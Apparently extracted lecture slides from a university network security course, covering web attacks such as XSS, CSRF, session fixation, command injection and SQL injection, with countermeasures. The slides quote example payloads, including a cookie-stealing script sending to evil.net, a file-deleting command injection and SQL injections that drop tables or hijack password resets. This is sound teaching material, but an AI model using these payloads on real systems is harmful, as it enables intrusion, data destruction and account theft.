Web Application Security Attacks on the Web Attacker Web User - - PowerPoint PPT Presentation

IN3210 – Network Security

Web Application Security

Attacks on the Web

Web Application User Attacker Web Server Web Application Database

2

The OWASP Foundation

⚫ “The Open Web Application Security Project (OWASP) is a

501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. Our mission is to make software security visible, so that individuals and

• rganizations are able to make informed decisions.”

⚫ Many well known projects, e.g.:

− OWASP Zed Attack Proxy (ZAP) − OWASP Juice Shop − OWASP ModSecurity Core Rule Set (CRS)

3

OWASP Top 10 Web Attacks

4

OWASP Top 10 Web Attacks

5

Recapitulation: Cookies

⚫ HTTP is stateless ⚫ A lot of scenarios require a session (Web Shop, Online

Banking)

⚫ For that purpose Cookies were introduced (Netscape, 1994) ⚫ Cookies are a set of name/value pair carrying arbitrary values ⚫ Typical: random value identifying a session

→ Server associates cookie value with session

6

Recapitulation: Cookies

GET /res2 HTTP/1.0 Cookie: id=xyz123 GET /res1 HTTP/1.0 HTTP/1.0 200 OK Set-Cookie: id=xyz123 HTTP/1.0 200 OK GET /res3 HTTP/1.0 Cookie: id=xyz123

. . .

7

Cookie Poisoning

⚫ Nowadays: Cookies contain (typically) just a session identifier

→ Cookie Poisoning attack not possible

GET /toCart?article=Computer&amount=1 HTTP/1.0 200 OK Set-Cookie: article=Computer; amount=1; price=500 GET /buy Set-Cookie: article=Computer; amount=1; price=10

8

Session Stealing

⚫ Cookie Stealing:

− Network eavesdropping (e.g. inside a WIFI of via ARP Spoofing) − Redirecting (e.g. DNS Poisoning) − Cross-site scripting (see later…)

Username: Bob Password: s3cr3! Bob = cookie123 cookie123 cookie123 „Welcome Bob“

9

DNS Cache Poisoning (simplified)

Client (attacker) DNS server for facebook.com DNS server (victim)

IP Address for www.facebook.com ? IP Address for www.facebook.com ? www.facebook.com: 1.2.3.4 (too late) www.facebook.com: 6.6.6.6

10

Session Hijacking

⚫ Sessions

− Session identifiers stored on server − Associated with respective users − Exchanged via URLs, hidden form fields, or cookies

⚫ Session IDs are an attractive target for attackers

− By obtaining a valid Session ID, a user's identity is effectively hijacked

11

Session Hijacking: Attack Classes and Countermeasures

⚫ Interception

− Encrypted communication (such as TLS)

⚫ Prediction

− Cryptographically strong pseudo-random number generators − Carefully chosen seed that don't leak from the server

⚫ Brute-force guessing

− Choose effective bit-length large enough with respect to the number

• f simultaneous sessions

12

Session Fixiation Attack

③ http://www.bank.com /login.jsp?sessionid=4711

bank.com

13

Session Fixiation Attack

⚫ General underlying attack idea

− The attacker fixes the user's session ID before the user even logs in − In other words: the user's session ID has been fixed in advanced instead of having been generated randomly at login time − This eliminates the need to obtain a user's session ID afterwards

⚫ Session ID in an URL argument

− The attacker needs to trick the user to log-in into the target web site through a provided hyperlink, such as:

http://www.bank.com/login.jsp?sessionid=4711

⚫ Session ID in cookie or hidden field:

− slightly more complicated but also possible

⚫ Countermeasure:

− Generate new session ID after successful login

14

OWASP Top 10 Web Attacks

15

Cross Site Scripting (XSS)

⚫ Required vulnerability:

− Web site accepts user input (e.g. search request) − user input is not properly verified

⚫ Attacker:

− injects malicious Code (e.g. JavaScript) as input to the Web app

⚫ Victim:

− uses (trusted) Web app − gets the malicious code from the Web app − executes the malicious code

16

Reflected XSS – Principle

goodshop.com

User calls trusted Web app with malicious code as parameter Link to goodshop.com

• incl. malicious code

Web app delivers malicious code

17

Reflected XSS – Example

⚫ Web App accepts search requests:

http://www.example.com/search?query=LOLCats

⚫ … and displays search results:

<p>You have searched for: LOLCats</p> <p>Your search results: ...

⚫ Attacker sends following link to victim

http://www.example.com/search?query=<script>alert("XSS");</script>

⚫ Victim visits link and gets this document from Web App:

<p>You have searched for: <script>alert("XSS");</script></p> <p>Your search results: ...

⚫ Victim‘s browser executes script

18

Persistent XSS – Principle

goodshop.com

User calls trusted Web app Attacker stores information incl. malicious code into Web app Web app delivers malicious code

19

Persistent XSS – Example

⚫ Web App allows user to store guest book entries ⚫ Attacker stores an entry:

This is a nice guestbook. <script>alert("XSS");</script>

⚫ Victim visits the guestbook and gets the entry including the

JavaScript

⚫ Victim‘s browser executes script

20

XSS – What can the malicious code do?

⚫ Sending cookies to the attacker:

<script> document.location= "http://evil.net/collect?cookie="+document.cookie </script>

⚫ Embedding HTML code into the “good” Web site:

− forged login form − advertisement − misinformation

21

XSS – Countermeasures

⚫ Input validation ⚫ Removing „<script>“ tags? ⚫ Not enough – script can be embedded into other HTML tags:

<img src="javascript:alert('XSS');">

⚫ Better: escaping of special characters:

&lt;img src=&quot;javascript:alert('XSS');&quot;&gt;

⚫ This way the input is interpreted as text and not as HTML

element

⚫ Disadvantage: no HTML code in user input possible

22

XSS - Example

23

OWASP Top 10 Web Attacks

24

Cross-Site Request Forgery

http://goodshop.com/shop

Add to cart http://goodshop.com/shop http://goodshop.com/cart?product=102

http://goodshop.com/shop

1

Check out

Total: 1000 $

25

Cross-Site Request Forgery

http://evil.net/

Click here http://goodshop.com/cart?product=102

http://goodshop.com/shop

1

Check out

Total: 1000 $

26

Cross-Site Request Forgery

http://evil.net/

Click here

http://goodshop.com/cart?product=102&count=100

http://goodshop.com/shop

100

Check out

Total: 100.000 $

27

Cross Site Request Forgery (CSRF)

⚫ (Mis)uses the victim’s identity for performing an action,

which the attacker could not perform himself

⚫ The attacker tricks the victim into clicking an link (e.g. via

email or on a Web site)

⚫ Clicking the linking immediately executes an action on the

server (also called One Click Attack)

28

CSRF – Example 1

⚫ The victim logs into his online banking (www.bank.com) and

does not log out

⚫ The victim clicks on the following link retrieved from the

attacker (assume 12345 is the attackers account number): http://www.bank.com/transfer?amount=1000&target=12345

⚫ As the victim is still logged into the bank Web site, the money

transfer is directly executed by the bank server

⚫ Here: Identity = Active Session

29

CSRF – Example 2

⚫ Router (home or enterprise) can only be configured from the

internal network

⚫ The victiom receives this link from the attacker:

http://192.168.0.1/admin?firewall=off

⚫ This will disable the firewall (if no admin password is

required), which is good starting point for further attacks

⚫ In case a password is required, the attacker can try common

• r default passwords:

http://192.168.0.1/admin?user=admin&passwd=admin&firewall=off

⚫ Here: Identity = location inside the network

30

CSRF

⚫ Countermeasures:

− Adding additional token as hidden field to forms − Requests from attacker do not include this token − Nowadays included in many frameworks

⚫ CRSF not widespread anymore (< 5 % of all Web applications) ⚫ Removed from current OWASP Top 10 <form action="/transfer.do" method="post"> <input type="hidden" name="CSRFToken“ value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwY...E1ZDZMGYwMGEwOA=="> ... </form>

31

OWASP Top 10 Web Attacks

32

Command Injection

⚫ CWE-77: Improper Neutralization of Special Elements used in

a Command ('Command Injection')

⚫ Command injection vulnerabilities typically occur when:

1. Data enters the application from an untrusted source. 2. The data is part of a string that is executed as a command by the application. 3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Source: http://cwe.mitre.org/data/definitions/77.html 33

Command Injection – Example

⚫ Web-based backup

− Batch-file wrapper (rmanDB.bat) around the rman utility − Script rmanDB.bat accepts a single command line parameter specifying the type of backup to perform − Run a cleanup.bat script to delete some temporary files − Application runs the backup as a privileged user, since access to the database is restricted

... String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat " +btype+ "&& c:\\util\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ...

34

Command Injection – Example

⚫ Intended use

https://some.server.net/tools/backup? backuptype=Incremental

⚫ Unintended (malicious) use

https://some.server.net/tools/backup? backuptype=%26%26+del+c%3A%5C%5Cdbms%5C%5C%2A.%2A..

... String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat " +btype+ "&& c:\\util\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ...

User input not validated

35

Command Injection – Example

⚫ What happens

backuptype=%26%26+del+c%3A%5C%5Cdbms%5C%5C%2A.%2A backuptype=&& del c:\\dbms\\*.* String btype = „&& del c:\\dbms\\*.*“ cmd = cmd.exe /K c:\\util\\rmanDB.bat && del c:\\dbms\\*.* && c:\\util\\cleanup.bat\

User input not validated

36

Command Injection – Potential Mitigations

⚫ Avoid external command calls

− Use library calls rather than external processes to recreate the desired functionality − Ensure that all external commands called from the program are statically created

⚫ Assume all input is malicious

− Use an "accept known good" input validation strategy (white list input validation) − Reject any input that does not strictly conform to specifications, or transform it into something that does

⚫ Assign permissions that prevent from accessing/opening

privileged files (if not required)

Source: http://cwe.mitre.org/data/definitions/77.html 37

SQL Injection

⚫ CWE-89: Improper Neutralization of Special Elements used in

an SQL Command

− Without sufficient removal or quoting of SQL syntax in user- controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

Source: http://cwe.mitre.org/data/definitions/89.html 38

SQL Injection

Web Server Web Application Database

SQL

39

SQL Injection – Example „Password Reset“

<FORM ACTION="/pwdrst" METHOD="GET"> <INPUT TYPE="text" NAME="user" /> </FORM>

String query ="SELECT email, pwd, name FROM members WHERE id='"+user+"'"; SELECT email, pwd, name FROM members WHERE id='johndoe'; http://www.fb.com/pwdrst?user=johndoe

Intended Use

40

SQL Injection – Example „Password Reset“

<FORM ACTION="/pwdrst" METHOD="GET"> <INPUT TYPE="text" NAME="user" /> </FORM>

String query ="SELECT email, pwd, name FROM members WHERE id='"+user+"'"; SELECT email, pwd, name FROM members WHERE id='x'; DROP TABLE members;

• -';

http://www.fb.com/pwdrst?user=x%27%3b+DR OP+TABLE+members%3b+--

Malicious Use

41

SQL Injection – Further Examples (1)

⚫ Search for items matching a specified name and owned by

the currently-authenticated user

SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

⚫ If an attacker with the username ”wiley” enters the string

name' OR 'a'='a the query becomes

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

⚫ So the query becomes logically equivalent to the much

simpler query

SELECT * FROM items;

⚫ The query now returns all entries stored in the items table,

regardless of their specified owner.

Source: http://cwe.mitre.org/data/definitions/89.html 42

SQL Injection – Further Examples (2)

⚫ MS SQL has a built-in function that enables shell command

execution

SELECT ITEM, PRICE FROM PRODUCT WHERE ITEM_CATEGORY='<user-input>' ORDER BY PRICE

⚫ Again, if the <user-input> is taken from an untrusted

source an attacker can enter the string

'; exec xp_cmdshell 'dir' --

⚫ The query will take the following form

SELECT ITEM, PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec xp_cmdshell 'dir' --' ORDER BY PRICE

Source: http://cwe.mitre.org/data/definitions/89.html 43

Anatomy of an SQL Injection Attack

⚫ Probe for a possible vulnerability ⚫ Determine data base schema

− Column names − Table names

⚫ Determine SQL version ⚫ Perform SQL Injection Attacks

− Finding some users − Brute-force password guessing − Mail me a password

44

Anatomy of an SQL Injection Attack

⚫ Case study based on a password reset page example

Web Server Web Application Error Message Notification Message Email

45

Anatomy of an SQL Injection Attack

⚫ Probe for a possible vulnerability

− To find a SQL Injection vulnerability, a common approach is to see whether the user input is passed to the DB unsanitized and interpreted there

https://www.fb.com/pwdrst?user=a'

− If this leads to an error message other than e.g. “No such user” then the response is a give-away that user input is not being sanitized properly!

▪ When executed by the SQL parser, the extra quote mark will abort the parsing with a syntax error ▪ How this manifests itself to the user depends on the Web app's internal error-recovery procedures, but it's usually different from "No such user"

http://www.unixwiz.net/techtips/sql-injection.html 46

Anatomy of an SQL Injection Attack

⚫ Determine data base schema: Column names

− Perform a SHOW TABLE would be easiest, but the name of the table is unknown yet and there is no obvious vehicle to obtain the output of this command − The tail end of the query is a comparison with the user ID, so the first guess is userid as the name of the field

SELECT fieldlist FROM table WHERE field = 'x' AND userid IS NULL; --'; ▪ A server error means that the SQL is malformed and a syntax error was thrown: this is most likely due to a bad field name ▪ Any kind of valid response is a hint that the guessed name was correct!

− As a result of this process, several valid field names were found: userid, pwd, email, name

http://www.unixwiz.net/techtips/sql-injection.html 47

Anatomy of an SQL Injection Attack

⚫ Determine data base schema: Table names

− There are several approaches for finding tablenames → Here we will rely on a subselect − A standalone query of SELECT COUNT(*) FROM tabname returns the number of records in that table, and fails if the table name is unknown − Building this into the string to probe for the table name:

SELECT email, pwd, userid, name FROM table WHERE userid = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

− By iterating over several guesses, we eventually determined that members is a valid table in the database

http://www.unixwiz.net/techtips/sql-injection.html 48

Anatomy of an SQL Injection Attack

⚫ Determine data base schema: Table names

− Is the table members used in this query? − Test using table.field notation

▪ Only works for tables that are actually part of this query, not merely that the table exists

− When

SELECT email, pwd, userid, name FROM members WHERE userid = 'x' AND members.email IS NULL; –-';

returned "User ID unknown", it is confirmed that the SQL was well formed and that the table name has been properly guessed

http://www.unixwiz.net/techtips/sql-injection.html 49

Anatomy of an SQL Injection Attack

⚫ Determine SQL version

− Using UNION SELECT two queries can be combined into one single result table − Prerequisite: Both query result sets require the same amount of columns

SELECT email, pwd, userid, name FROM members WHERE userid = 'x' UNION SELECT 1,version(),3,4 –-';

http://www.unixwiz.net/techtips/sql-injection.html 50

Anatomy of an SQL Injection Attack

⚫ Perform SQL Injection Attack: Finding some users

− Search on the company's website ("About us“ or "Contact") → some clues which allows to make good guesses − Submit a query that uses the LIKE clause, allowing to do partial matches of user IDs or names in the database

SELECT email, pwd, userid, name FROM members WHERE userid = 'x' OR userid LIKE '%john%';

− Note: this triggers the "We sent your password" message and email. Although this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions

http://www.unixwiz.net/techtips/sql-injection.html 51

Anatomy of an SQL Injection Attack

⚫ Perform SQL Injection Attack:

Brute-force password guessing

− The effectiveness of brute-force password guessing at the main login page is limited → many systems make an effort to detect or even prevent this (logfiles, account lockouts, etc.) − Doing password guessing via SQL Injection might remain unobserved (we learned the user ID johndoe)

SELECT email, pwd, userid, name FROM members WHERE userid='johndoe' AND pwd='rtfm-luser';

− This procedure can be automated with scripting − The password has been found when the "Your password has been mailed to you" message appears

http://www.unixwiz.net/techtips/sql-injection.html 52

Anatomy of an SQL Injection Attack

⚫ Perform SQL Injection Attack: Mail me a password

− The database is not read-only − Change the email address of the determined user to one address in your possession

SELECT email, pwd, userid, name FROM members WHERE userid = 'x'; UPDATE members SET email = 'attacker@onetimeusage.net‚ WHERE userid = 'johndoe';

− The use of the regular "I lost my password" link will result in an email being sent to the attacker containing some sort of login information

http://www.unixwiz.net/techtips/sql-injection.html 53

Blind SQL Injection

⚫ When probing/constructing SQL Injections

a server sometimes respond with error messages from the database (e.g. SQL syntax error)

⚫ Blind SQL injection

− Identical to SQL Injection − Rather than getting a useful error message, a generic page is returned − Makes exploiting a potential SQL Injection attack more difficult but not impossible − An attacker can still steal data by asking a series of true and false questions through SQL statements

https://www.owasp.org/index.php/Blind_SQL_Injection 54

Potential Mitigations (1/5)

⚫ Input Validation

− Assume all input is malicious

▪ Use an "accept known good" input validation strategy (white list input validation) ▪ Reject any input that does not strictly conform to specifications, or transform it into something that does

− In practice this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 55

Potential Mitigations (2/5)

⚫ Escaping

− While input validation is important and should always be performed, it is not a complete solution for injection attacks. − Escaping is the primary defense

▪ Escaping is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter's parser ▪ Writing these encoders is not difficult, but there are quite a few hidden pitfalls

• Example: You might also forget to escape the escape character, which attackers

can use to neutralize your attempts to be safe

▪ Recommendation: Use a security-focused encoding library to make sure these rules are properly implemented!

• Examples: mysql_real_escape_string(),

Perl DBD method $dbh->quote($value)

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 56

Potential Mitigations (3/5)

⚫ Bound Parameters (Prepared Statements)

− Avoids that parameters are interpreted by the SQL parser (they are just treated as data!) − Supported by essentially all database programming interfaces − Example in Java

▪ Insecure database access ▪ Secure database access via Prepared Statements

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Statement s = connection.createStatement(); ResultSet rs = s.executeQuery ("SELECT email FROM members WHERE name = " + field); PreparedStatement ps = connection.prepareStatement ("SELECT email FROM members WHERE name = ?"); ps.setString(1, field); ResultSet rs = ps.executeQuery();

57

Potential Mitigations (4/5)

⚫ Limit user privileges and segregate users

− Database connections should have the least privileges possible − Database connections which allow to perform modifications to the database must be treated with care − Example:

▪ switch the session to a database connection with more rights in case a set

• f valid credentials had been passed via the login form

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 58

Potential Mitigations (5/5)

⚫ Error Reporting

− Detailed error messages should not be shown to the outside world, since it makes an attack much easier if e.g. the full query is shown, pointing to the syntax error involved − This information is useful to developers, but it should be restricted - if possible - to just internal users − The default error reporting for some frameworks includes developer debugging information

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 59

SQL …

Source: xkcd.com 60